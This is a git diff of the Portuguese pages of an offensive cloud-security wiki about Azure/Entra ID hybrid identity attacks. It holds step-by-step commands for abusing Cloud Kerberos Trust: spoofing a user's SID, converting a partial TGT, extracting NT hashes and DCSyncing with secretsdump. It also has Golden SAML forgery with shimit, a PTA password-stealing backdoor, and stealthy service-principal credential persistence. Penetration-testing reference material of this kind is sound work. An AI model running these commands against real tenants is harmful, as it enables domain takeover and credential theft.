"Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sites//drives/' | jq ## Finally, download a file from that drive: -┌──(magichk㉿black-pearl)-[~] -└─$ curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' +curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' ``` **Observe que esses tipos de tokens de acesso também podem ser encontrados dentro de outros processos.** diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index e139618d6..0fb683923 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -4,46 +4,72 @@ **Este post é um resumo de** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **que pode ser consultado para mais informações sobre o ataque. Esta técnica também é comentada em** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.** -## Informações Básicas +## Visão Geral da Relação de Confiança Kerberos -### Confiança +**Cloud Kerberos Trust (Entra ID -> AD)** -- Este recurso (parte do Windows Hello for Business) estabelece uma confiança unidirecional onde o AD local **confia no Entra ID** para emitir tickets Kerberos para o AD. Habilitá-lo cria um objeto de computador **AzureADKerberos$** no AD (aparecendo como um Controlador de Domínio Somente Leitura) e uma conta vinculada **`krbtgt_AzureAD`** (um KRBTGT secundário). O Entra ID detém as chaves para essas contas e pode emitir TGTs Kerberos "parciais" para usuários do AD. Os controladores de domínio do AD honrarão esses tickets, mas com restrições semelhantes a RODC: por padrão, **grupos de alta privilégio (Domain Admins, Enterprise Admins, etc.) são *negados*** e usuários comuns são permitidos. Isso impede que o Entra ID autentique administradores de domínio via a confiança em condições normais. No entanto, como veremos, um atacante com privilégios suficientes no Entra ID pode abusar desse design de confiança. -Quando uma confiança é estabelecida com o Azure AD, um **Controlador de Domínio Somente Leitura (RODC) é criado no AD.** A **conta de computador RODC**, chamada **`AzureADKerberos$`**. Além disso, uma conta secundária `krbtgt` chamada **`krbtgt_AzureAD`**. Esta conta contém as **chaves Kerberos** usadas para os tickets que o Azure AD cria. +## Pivotando do Entra ID para o AD Local -Portanto, se esta conta for comprometida, pode ser possível se passar por qualquer usuário... embora isso não seja verdade porque esta conta é impedida de criar tickets para qualquer grupo privilegiado comum do AD, como Administradores de Domínio, Administradores Empresariais, Administradores... +**Cenário:** A organização alvo tem **Cloud Kerberos Trust** habilitado para autenticação sem senha. Um atacante obteve privilégios de **Global Administrator** no Entra ID (Azure AD), mas ainda **não** controla o AD local. O atacante também tem um ponto de apoio com acesso à rede de um Controlador de Domínio (via VPN ou uma VM do Azure em rede híbrida). Usando a confiança na nuvem, o atacante pode aproveitar o controle do Azure AD para obter um ponto de apoio em nível de **Domain Admin** no AD. -> [!CAUTION] -> No entanto, em um cenário real, haverá usuários privilegiados que não estão nesses grupos. Portanto, a **nova conta krbtgt, se comprometida, poderia ser usada para se passar por eles.** +**Pré-requisitos:** -### Kerberos TGT +- **Cloud Kerberos Trust** está configurado no ambiente híbrido (indicador: uma conta RODC `AzureADKerberos$` existe no AD). -Além disso, quando um usuário se autentica no Windows usando uma identidade híbrida, **o Azure AD** emitirá **um ticket Kerberos parcial junto com o PRT.** O TGT é parcial porque **o AzureAD tem informações limitadas** do usuário no AD local (como o identificador de segurança (SID) e o nome).\ -O Windows pode então **trocar este TGT parcial por um TGT completo** solicitando um ticket de serviço para o serviço `krbtgt`. +- O atacante possui direitos de **Global Admin (ou Hybrid Identity Admin)** no locatário do Entra ID (esses papéis podem usar a **API de sincronização** do AD Connect para modificar usuários do Azure AD). -### NTLM +- Pelo menos uma **conta de usuário híbrida** (existe tanto no AD quanto no AAD) que o atacante pode autenticar. Isso pode ser obtido conhecendo ou redefinindo suas credenciais ou atribuindo um método sem senha (por exemplo, um Temporary Access Pass) para gerar um Primary Refresh Token (PRT) para ela. -Como pode haver serviços que não suportam autenticação kerberos, mas NTLM, é possível solicitar um **TGT parcial assinado usando uma chave `krbtgt` secundária** incluindo o campo **`KERB-KEY-LIST-REQ`** na parte **PADATA** da solicitação e então obter um TGT completo assinado com a chave `krbtgt` primária **incluindo o hash NT na resposta**. +- Uma **conta alvo do AD local** com altos privilégios que *não* está na política de "negação" padrão do RODC. Na prática, um ótimo alvo é a **conta de sincronização do AD Connect** (geralmente nomeada **MSOL_***), que possui direitos DCSync (replicação) no AD, mas geralmente não é membro de grupos de administração integrados. Esta conta normalmente não é sincronizada com o Entra ID, tornando seu SID disponível para impersonação sem conflito. -## Abusando da Confiança do Cloud Kerberos para obter Admin de Domínio +**Passos do Ataque:** -Quando o AzureAD gera um **TGT parcial**, ele usará os detalhes que possui sobre o usuário. Portanto, se um Administrador Global puder modificar dados como o **identificador de segurança e nome do usuário no AzureAD**, ao solicitar um TGT para esse usuário, o **identificador de segurança seria um diferente**. +1. **Obter Acesso à API de Sincronização do Azure AD:** Usando a conta de Global Admin, adquira um token de acesso para a **API de Provisionamento (sincronização) do Azure AD**. Isso pode ser feito com ferramentas como **ROADtools** ou **AADInternals**. Por exemplo, com ROADtools (roadtx): +```bash +# Using roadtx to get an Azure AD Graph token (no MFA) +roadtx gettokens -u -p --resource aadgraph +``` +*(Alternativamente, o `Connect-AADInt` do AADInternals pode ser usado para autenticar como Administrador Global.)* -Não é possível fazer isso através do Microsoft Graph ou do Azure AD Graph, mas é possível usar a **API que o Active Directory Connect** usa para criar e atualizar usuários sincronizados, que pode ser usada pelos Administradores Globais para **modificar o nome SAM e o SID de qualquer usuário híbrido**, e então, se nos autenticarmos, obtemos um TGT parcial contendo o SID modificado. +2. **Modifique os Atributos On-Prem de um Usuário Híbrido:** Aproveite a **API de sincronização** do Azure AD para definir o **Identificador de Segurança (SID)** e o **SAMAccountName** de um usuário híbrido escolhido para corresponder à conta AD de destino. Isso efetivamente informa ao Azure AD que o usuário na nuvem corresponde à conta on-prem que queremos impersonar. Usando o kit de ferramentas **ROADtools Hybrid**: +```bash +# Example: modify a hybrid user to impersonate the MSOL account +python3 modifyuser.py -u -p \ +--sourceanchor \ +--sid --sam +``` +> O `sourceAnchor` (ID imutável) do usuário é necessário para identificar o objeto do Azure AD a ser modificado. A ferramenta define o SID on-prem do usuário híbrido e o nome da conta SAM para os valores do alvo (por exemplo, o SID e SAM da conta MSOL_xxxx). O Azure AD normalmente não permite alterar esses atributos via Graph (eles são somente leitura), mas a API do serviço de sincronização permite isso e os Administradores Globais podem invocar essa funcionalidade de sincronização. -Observe que podemos fazer isso com AADInternals e atualizar usuários sincronizados via o cmdlet [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a). +3. **Obter um TGT Parcial do Azure AD:** Após a modificação, autentique-se como o usuário híbrido no Azure AD (por exemplo, obtendo um PRT em um dispositivo ou usando suas credenciais). Quando o usuário faz login (especialmente em um dispositivo Windows associado ao domínio ou ao Entra), o Azure AD emitirá um **TGT Kerberos parcial (TGT****AD**) para essa conta porque a Confiança Kerberos na Nuvem está habilitada. Este TGT parcial é criptografado com a chave RODC AzureADKerberos$ e inclui o **SID alvo** que definimos. Podemos simular isso solicitando um PRT para o usuário via ROADtools: +```bash +roadtx getprt -u -p -d +``` +Isso gera um arquivo `.prt` contendo o TGT parcial e a chave de sessão. Se a conta era apenas de nuvem, o Azure AD ainda inclui um TGT_AD na resposta do PRT. -### Pré-requisitos do ataque +4. **Trocar TGT Parcial por TGT Completo (no AD):** O TGT parcial pode agora ser apresentado ao Controlador de Domínio local para obter um **TGT completo** para a conta alvo. Fazemos isso realizando uma solicitação TGS para o serviço `krbtgt` (o serviço TGT principal do domínio) -- essencialmente atualizando o ticket para um TGT normal com um PAC completo. Ferramentas estão disponíveis para automatizar essa troca. Por exemplo, usando o script do ROADtools Hybrid: +```bash +# Use the partial TGT from the PRT file to get a full TGT and NTLM hash +python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash +``` +Este script (ou equivalentes do Impacket) irá contatar o Controlador de Domínio e recuperar um TGT válido para a conta AD alvo, incluindo o hash NTLM da conta se a extensão Kerberos especial for utilizada. A extensão **`KERB-KEY-LIST-REQ`** é automaticamente incluída para pedir ao DC que retorne o hash NTLM da conta alvo na resposta criptografada. O resultado é um cache de credenciais (`full_tgt.ccache`) para a conta alvo *ou* o hash da senha NTLM recuperado. -O sucesso do ataque e a obtenção de privilégios de Admin de Domínio dependem do cumprimento de certos pré-requisitos: +5. **Impersonar o Alvo e Elevar para Administrador de Domínio:** Agora o atacante efetivamente **controla a conta AD alvo**. Por exemplo, se o alvo era a conta **MSOL** do AD Connect, ela tem direitos de replicação no diretório. O atacante pode realizar um ataque **DCSync** usando as credenciais dessa conta ou o TGT Kerberos para despejar hashes de senhas do AD (incluindo a conta KRBTGT do domínio). Por exemplo: +```bash +# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash) +secretsdump.py 'AD_DOMAIN/$@' -hashes : LOCAL +``` +Isso despeja todos os hashes de senha de usuários do AD, dando ao atacante o hash KRBTGT (permitindo que ele forje tickets Kerberos de domínio à vontade) e efetivamente privilégios de **Domain Admin** sobre o AD. Se a conta alvo fosse outro usuário privilegiado, o atacante poderia usar o TGT completo para acessar qualquer recurso de domínio como esse usuário. -- A capacidade de alterar contas através da API de Sincronização é crucial. Isso pode ser alcançado tendo o papel de Administrador Global ou possuindo uma conta de sincronização do AD Connect. Alternativamente, o papel de Administrador de Identidade Híbrida seria suficiente, pois concede a capacidade de gerenciar o AD Connect e estabelecer novas contas de sincronização. -- A presença de uma **conta híbrida** é essencial. Esta conta deve ser passível de modificação com os detalhes da conta da vítima e também deve ser acessível para autenticação. -- A identificação de uma **conta de vítima alvo** dentro do Active Directory é uma necessidade. Embora o ataque possa ser executado em qualquer conta já sincronizada, o locatário do Azure AD não deve ter replicado identificadores de segurança locais, necessitando da modificação de uma conta não sincronizada para obter o ticket. -- Além disso, esta conta deve possuir privilégios equivalentes a admin de domínio, mas não deve ser membro de grupos típicos de administradores do AD para evitar a geração de TGTs inválidos pelo RODC do AzureAD. -- O alvo mais adequado é a **conta do Active Directory utilizada pelo serviço de Sincronização do AD Connect**. Esta conta não é sincronizada com o Azure AD, deixando seu SID como um alvo viável, e possui inherentemente privilégios equivalentes a Admin de Domínio devido ao seu papel na sincronização de hashes de senha (assumindo que a Sincronização de Hash de Senha esteja ativa). Para domínios com instalação expressa, esta conta é prefixada com **MSOL\_**. Para outras instâncias, a conta pode ser identificada enumerando todas as contas dotadas de privilégios de Replicação de Diretório no objeto de domínio. +6. **Limpeza:** Opcionalmente, o atacante pode restaurar o `onPremisesSAMAccountName` e o SID originais do usuário do Azure AD modificado através da mesma API ou simplesmente excluir qualquer usuário temporário criado. Em muitos casos, o próximo ciclo de sincronização do Azure AD Connect reverterá automaticamente alterações não autorizadas em atributos sincronizados. (No entanto, a essa altura, o dano já está feito -- o atacante possui privilégios de DA.) + +> [!WARNING] +> Ao abusar do mecanismo de confiança e sincronização na nuvem, um Global Admin do Azure AD pode se passar por quase *qualquer* conta do AD que não esteja explicitamente protegida pela política RODC, mesmo que essa conta nunca tenha sido sincronizada com a nuvem. Em uma configuração padrão, isso **estabelece uma confiança completa da comprometimento do Azure AD para o comprometimento do AD local**. + + +## Referências + +- [Obtaining Domain Admin from Azure AD via Cloud Kerberos Trust](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) -### O ataque completo -Verifique no post original: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md deleted file mode 100644 index dc06a9a2f..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ /dev/null @@ -1,9 +0,0 @@ -# Az - Aplicações Padrão - -{{#include ../../../../banners/hacktricks-training.md}} - -**Verifique a técnica em:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) e [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) - -O post do blog discute uma vulnerabilidade de elevação de privilégios no Azure AD, permitindo que Administradores de Aplicativos ou Contas de Sincronização On-Premise comprometidas elevem privilégios ao atribuir credenciais a aplicativos. A vulnerabilidade, decorrente do comportamento "por design" do Azure AD em relação ao manuseio de aplicativos e principais de serviço, afeta notavelmente as aplicações padrão do Office 365. Embora tenha sido relatado, o problema não é considerado uma vulnerabilidade pela Microsoft devido à documentação do comportamento de atribuição de direitos administrativos. O post fornece insights técnicos detalhados e aconselha revisões regulares das credenciais de principais de serviço em ambientes Azure AD. Para mais informações detalhadas, você pode visitar o post original do blog. - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md similarity index 77% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md index d6d0cdcee..3a61e0c21 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md @@ -1,12 +1,13 @@ -# Az - Federação +# Az - Federation {{#include ../../../../banners/hacktricks-training.md}} ## Informações Básicas -[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**A Federação** é uma coleção de **domínios** que estabeleceram **confiança**. O nível de confiança pode variar, mas normalmente inclui **autenticação** e quase sempre inclui **autorização**. Uma federação típica pode incluir um **número de organizações** que estabeleceram **confiança** para **acesso compartilhado** a um conjunto de recursos. +[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed) -Você pode **federar seu ambiente on-premises** **com o Azure AD** e usar essa federação para autenticação e autorização. Este método de login garante que toda a **autenticação do usuário ocorra on-premises**. Este método permite que os administradores implementem níveis mais rigorosos de controle de acesso. A federação com **AD FS** e PingFederate está disponível. +>**Federação** é um conjunto de **domínios** que estabeleceram **confiança**. O nível de confiança pode variar, mas normalmente inclui **autenticação** e quase sempre inclui **autorização**. Uma federação típica pode incluir um **número de organizações** que estabeleceram **confiança** para **acesso compartilhado** a um conjunto de recursos. +>Você pode **federar seu ambiente on-premises** **com o Azure AD** e usar essa federação para autenticação e autorização. Este método de login garante que toda a **autenticação do usuário ocorra on-premises**. Este método permite que os administradores implementem níveis mais rigorosos de controle de acesso. A federação com **AD FS** e PingFederate está disponível.
@@ -20,16 +21,14 @@ Em qualquer configuração de federação, existem três partes: - Provedor de Identidade (IdP) - Provedor de Serviço (SP) -(Imagens de https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) - -
+
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
1. Inicialmente, um aplicativo (Provedor de Serviço ou SP, como o console AWS ou o cliente web vSphere) é acessado por um usuário. Esta etapa pode ser ignorada, levando o cliente diretamente ao IdP (Provedor de Identidade) dependendo da implementação específica. 2. Em seguida, o SP identifica o IdP apropriado (por exemplo, AD FS, Okta) para autenticação do usuário. Ele então cria um AuthnRequest SAML (Security Assertion Markup Language) e redireciona o cliente para o IdP escolhido. 3. O IdP assume, autenticando o usuário. Após a autenticação, uma SAMLResponse é formulada pelo IdP e encaminhada ao SP através do usuário. 4. Finalmente, o SP avalia a SAMLResponse. Se validada com sucesso, implicando uma relação de confiança com o IdP, o usuário recebe acesso. Isso marca a conclusão do processo de login, permitindo que o usuário utilize o serviço. -**Se você quiser saber mais sobre autenticação SAML e ataques comuns, vá para:** +**Se você quiser aprender mais sobre autenticação SAML e ataques comuns, vá para:** {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html @@ -37,9 +36,9 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html ## Pivoting -- AD FS é um modelo de identidade baseado em declarações. -- "..as declarações são simplesmente afirmações (por exemplo, nome, identidade, grupo), feitas sobre usuários, que são usadas principalmente para autorizar acesso a aplicações baseadas em declarações localizadas em qualquer lugar na Internet." -- As declarações para um usuário são escritas dentro dos tokens SAML e, em seguida, assinadas para fornecer confidencialidade pelo IdP. +- AD FS é um modelo de identidade baseado em claims. +- "..claims são simplesmente declarações (por exemplo, nome, identidade, grupo), feitas sobre usuários, que são usadas principalmente para autorizar acesso a aplicações baseadas em claims localizadas em qualquer lugar na Internet." +- Claims para um usuário são escritas dentro dos tokens SAML e são então assinadas para fornecer confidencialidade pelo IdP. - Um usuário é identificado por ImmutableID. É globalmente único e armazenado no Azure AD. - O ImmutableID é armazenado on-prem como ms-DS-ConsistencyGuid para o usuário e/ou pode ser derivado do GUID do usuário. - Mais informações em [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) @@ -49,14 +48,14 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html - No ADFS, a SAML Response é assinada por um certificado de assinatura de token. - Se o certificado for comprometido, é possível autenticar no Azure AD como QUALQUER usuário sincronizado com o Azure AD! - Assim como nosso abuso de PTA, a mudança de senha para um usuário ou MFA não terá efeito porque estamos forjando a resposta de autenticação. -- O certificado pode ser extraído do servidor AD FS com privilégios de DA e, em seguida, pode ser usado de qualquer máquina conectada à internet. +- O certificado pode ser extraído do servidor AD FS com privilégios de DA e pode ser usado de qualquer máquina conectada à internet. - Mais informações em [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) ### Golden SAML O processo onde um **Provedor de Identidade (IdP)** produz uma **SAMLResponse** para autorizar o login do usuário é fundamental. Dependendo da implementação específica do IdP, a **resposta** pode ser **assinada** ou **criptografada** usando a **chave privada do IdP**. Este procedimento permite que o **Provedor de Serviço (SP)** confirme a autenticidade da SAMLResponse, garantindo que foi realmente emitida por um IdP confiável. -Um paralelo pode ser traçado com o [ataque de golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), onde a chave que autentica a identidade e permissões do usuário (KRBTGT para tickets de ouro, chave privada de assinatura de token para golden SAML) pode ser manipulada para **forjar um objeto de autenticação** (TGT ou SAMLResponse). Isso permite a impersonação de qualquer usuário, concedendo acesso não autorizado ao SP. +Um paralelo pode ser traçado com o [ataque golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), onde a chave que autentica a identidade e permissões do usuário (KRBTGT para tickets dourados, chave privada de assinatura de token para golden SAML) pode ser manipulada para **forjar um objeto de autenticação** (TGT ou SAMLResponse). Isso permite a impersonificação de qualquer usuário, concedendo acesso não autorizado ao SP. Golden SAMLs oferecem certas vantagens: @@ -112,7 +111,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file - # Save SAMLResponse to file python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml ``` -
+
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
### On-prem -> nuvem ```bash diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md new file mode 100644 index 000000000..a6028f46d --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md @@ -0,0 +1,29 @@ +# Ataques Diversos de Identidade Híbrida + +{{#include ../../../../banners/hacktricks-training.md}} + + +## Forçando a Sincronização de usuários do Entra ID para o on-prem + +Como mencionado em [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), era possível alterar o valor de **`ProxyAddress`** dentro de um usuário do AD no on-prem adicionando o e-mail de um usuário administrador do Entra ID e também garantindo que o UPN do usuário no AD e no Entra ID correspondesse (este é o Entra ID novamente), como **`SMTP:admin@domain.onmicrosoft.com`**. E isso **forçaria a sincronização deste usuário** do Entra ID para o AD on-prem, então se a senha do usuário fosse conhecida, poderia ser usada para **acessar o administrador usado no Entra ID.** + +Para sincronizar um novo usuário do Entra ID para o AD on-prem, os requisitos são: + +- Controlar os atributos de um usuário no AD on-prem (ou ter permissões para criar novos usuários) +- Conhecer o usuário apenas na nuvem para sincronizar do Entra ID para o AD on-prem +- Você também pode precisar ser capaz de alterar o atributo immutableID do usuário do Entra ID para o usuário do AD on-prem para fazer um **hard match**. + + +> [!CAUTION] +> O Entra ID não permite mais sincronizar administradores do Entra ID para o AD on-prem. +> Além disso, isso **não contornará o MFA**. + + + +## Referências + +- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) +- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/) +- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md similarity index 93% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md index 7146a234d..d516c6467 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md @@ -14,9 +14,9 @@ A autenticação é validada no AD local e a comunicação com a nuvem é feita
-1. Para **fazer login**, o usuário é redirecionado para **Azure AD**, onde ele envia o **nome de usuário** e a **senha**. -2. As **credenciais** são **criptografadas** e colocadas em uma **fila** no Azure AD. -3. O **agente de autenticação local** coleta as **credenciais** da fila e as **descriptografa**. Este agente é chamado de **"agente de autenticação pass-through"** ou **agente PTA**. +1. Para **fazer login**, o usuário é redirecionado para **Azure AD**, onde ele envia o **nome de usuário** e a **senha** +2. As **credenciais** são **criptografadas** e colocadas em uma **fila** no Azure AD +3. O **agente de autenticação local** coleta as **credenciais** da fila e as **descriptografa**. Este agente é chamado de **"agente de autenticação pass-through"** ou **agente PTA.** 4. O **agente** **valida** as credenciais contra o **AD local** e envia a **resposta** **de volta** para o Azure AD que, se a resposta for positiva, **completa o login** do usuário. > [!WARNING] @@ -68,7 +68,7 @@ Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the pas Remove-AADIntPTASpy # Remove the backdoor ``` > [!NOTE] -> Se a **instalação falhar**, isso provavelmente se deve à falta dos [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). +> Se a **instalação falhar**, isso provavelmente se deve à falta do [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). Este backdoor irá: diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md deleted file mode 100644 index 1e046b7d9..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ /dev/null @@ -1,30 +0,0 @@ -# Az- Sincronizando Novos Usuários - -{{#include ../../../../banners/hacktricks-training.md}} - -## Sincronizando usuários do AzureAD para o on-prem para escalar do on-prem para o AzureAD - -Para sincronizar um novo usuário **do AzureAD para o AD on-prem**, estes são os requisitos: - -- O **usuário do AzureAD** precisa ter um endereço proxy (uma **caixa de correio**) -- Licença não é necessária -- Não deve **já estar sincronizado** -```bash -Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl -``` -Quando um usuário como esses é encontrado no AzureAD, para **acessá-lo a partir do AD local** você só precisa **criar uma nova conta** com o **proxyAddress** o e-mail SMTP. - -Automaticamente, esse usuário será **sincronizado do AzureAD para o usuário do AD local**. - -> [!CAUTION] -> Observe que para realizar esse ataque você **não precisa de Domain Admin**, você só precisa de permissões para **criar novos usuários**. -> -> Além disso, isso **não irá contornar o MFA**. -> -> Além disso, foi relatado que **a sincronização de contas não é mais possível para contas de administrador**. - -## Referências - -- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index ce1b86fbc..efc6519d8 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -95,10 +95,10 @@ Isso permite que um atacante adicione credenciais a principais de serviço exist az ad sp credential reset --id --append ``` > [!CAUTION] -> A nova senha gerada não aparecerá no console da web, então isso pode ser uma maneira discreta de manter persistência sobre um serviço principal.\ +> A nova senha gerada não aparecerá no console da web, então isso pode ser uma maneira discreta de manter a persistência sobre um principal de serviço.\ > A partir da API, elas podem ser encontradas com: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -Se você receber o erro `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` é porque **não é possível modificar a propriedade passwordCredentials** do SP e primeiro você precisa desbloqueá-la. Para isso, você precisa de uma permissão (`microsoft.directory/applications/allProperties/update`) que permite que você execute: +Se você receber o erro `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, é porque **não é possível modificar a propriedade passwordCredentials** do SP e primeiro você precisa desbloqueá-la. Para isso, você precisa de uma permissão (`microsoft.directory/applications/allProperties/update`) que permite que você execute: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` @@ -110,7 +110,7 @@ az ad sp credential reset --id --append ``` ### `microsoft.directory/servicePrincipals/owners/update` -Semelhante a aplicativos, esta permissão permite adicionar mais proprietários a um principal de serviço. Possuir um principal de serviço permite controle sobre suas credenciais e permissões. +Semelhante às aplicações, esta permissão permite adicionar mais proprietários a um principal de serviço. Possuir um principal de serviço permite controle sobre suas credenciais e permissões. ```bash # Add new owner spId="" @@ -136,7 +136,7 @@ Essas permissões permitem desabilitar e habilitar principais de serviço. Um at Observe que, para essa técnica, o atacante precisará de mais permissões para assumir o principal de serviço habilitado. ```bash -bashCopy code# Disable +# Disable az ad sp update --id --account-enabled false # Enable @@ -164,6 +164,14 @@ az rest --method POST \ --headers "Content-Type=application/json" \ --body "{\"id\": \"$credID\"}" ``` +### Escalação de Privilégios em Aplicações + +**Como explicado em [este post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, era muito comum encontrar aplicações padrão que têm **permissões de API** do tipo **`Application`** atribuídas a 